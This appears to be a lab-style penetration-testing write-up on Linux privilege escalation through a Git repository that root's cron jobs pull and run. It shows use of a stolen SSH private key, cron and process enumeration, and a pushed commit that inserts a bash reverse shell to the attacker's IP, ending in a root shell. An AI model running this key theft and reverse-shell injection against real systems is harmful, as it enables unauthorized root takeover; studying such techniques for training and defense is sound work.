Git Script Injection
This privilege escalation technique exploits a cron-scheduled script maintained in a Git repository. Instead of modifying the script file directly, which may not be writable or may be tracked centrally, the attacker leverages Git operations to inject malicious code. If a cronjob executes a script from a local Git clone, and that clone regularly pulls from a bare Git repository, it is possible to modify the script via Git (clone → commit → push). Once the root-owned clone fetches and executes the updated content, the payload runs with elevated privileges. This method is particularly effective in DevOps-style environments where Git is used as part of automation pipelines.
[bob@server home]$ cat git/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3B...<SNIP>...aXQ=
-----END OPENSSH PRIVATE KEY-----
[bob@server tmp]$ ./linpeas.sh
╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 66 Jan 15 2021 /etc/crontab.bak
[bob@server tmp]$ cat /etc/crontab.bak
*/3 * * * * /root/git-server/backups.sh
*/2 * * * * /root/pull.sh
The objective is to gain root
access by injecting a reverse shell into a script (backups.sh
) that is executed by root
on a schedule. Since this script is maintained in a Git repository, the attack leverages Git operations to propagate the malicious change. The script located at /root/git-server/backups.sh
is executed by root
every three minutes, while /root/pull.sh
runs every two minutes.
[bob@server tmp]$ ./pspy64
2025/08/04 16:02:01 CMD: UID=0 PID=17170 | /bin/sh -c /root/pull.sh
2025/08/04 16:02:01 CMD: UID=0 PID=17171 | git pull
2025/08/04 16:03:01 CMD: UID=0 PID=17191 | /bin/sh -c /root/git-server/backups.sh
The output from pspy
shows that /root/pull.sh
is simply running git pull
every two minutes inside /root/git-server/
, and then every three minutes the script backups.sh
in that same directory is executed by root
. This establishes a Git-based automation flow:
/git-server/
is a bare Git repository. A bare repository contains only Git metadata (commits, trees, objects) and does not have a working copy of files like scripts or code. It serves as the equivalent of a remote Git server (e.g., GitHub) and is not directly editable./root/git-server/
is a Git clone of the bare repository — a working copy where files likebackups.sh
exist on disk. Theroot
user regularly pulls updates into this working copy via cron.
Therefore, any updates pushed to the bare repository at /git-server/
will be fetched into /root/git-server/
by the root
cron job. Since /git-server/
cannot be edited directly (being bare), a writable clone must be created. This is done from the user-writable /tmp
directory:
[bob@server tmp]$ git clone file:///git-server
[bob@server tmp]$ cd git-server/
After cloning, the repository contains the current version of backups.sh
, which is just a placeholder:
[bob@server git-server]$ cat backups.sh
#!/bin/bash
#
#
# # Placeholder
#
Once it's confirmed that /git-server/
is a bare Git repository used by the root
cron job, the attacker must interact with it from their own machine. Since direct write access to /git-server/
is not available externally, a remote Git clone is performed over SSH. The Git server is listening on a non-default port (43022
), and a private SSH key (id_rsa
) has been obtained during enumeration. Using this key, the repository is cloned remotely from the attacker's machine:
# Clone remote Git server using Git SSH key
$ GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@server:/git-server
This creates a working copy on the attacker’s machine, where real files like backups.sh
can be edited. Git user identity is configured:
# Configure Git identity
$ git config --global user.name "x7331"
$ git config --global user.email "x7331@kali.(none)"
To escalate privileges, the backups.sh
file is modified to include a reverse shell payload. The payload connects back to the attacker's IP over TCP:
# Add reverse shell payload to the script
$ nano backups.sh
$ cat backups.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.45.170/12445 0>&1
# Assign execute permissions to the file
$ chmod +x backups.sh
Changes are staged and committed:
# Stage and commit the changes
$ git add backups.sh
$ git commit -m "reverse_shell"
The repository is pushed back using:
# Push the updated code
$ GIT_SSH_COMMAND='ssh -i ../id_rsa -p 43022' git push origin master
At this point, the updated backups.sh
containing the reverse shell has been committed and successfully pushed to /git-server/
. Within two minutes, the root cron job running pull.sh
will pull this change into /root/git-server/
. Within three minutes, the root cron job running backups.sh
will execute it.
# Start listener to catch reverse shell
$ sudo penelope -p 12445
[root@server ~]# id
uid=0(root) gid=0(root) groups=0(root)
Although the user bob
can clone the repository, inspect scripts, and prepare modifications locally, pushing changes to /git-server
is restricted. The bare repository is owned by the git
user, and only authenticated SSH access as git
allows write operations.
Last updated
Was this helpful?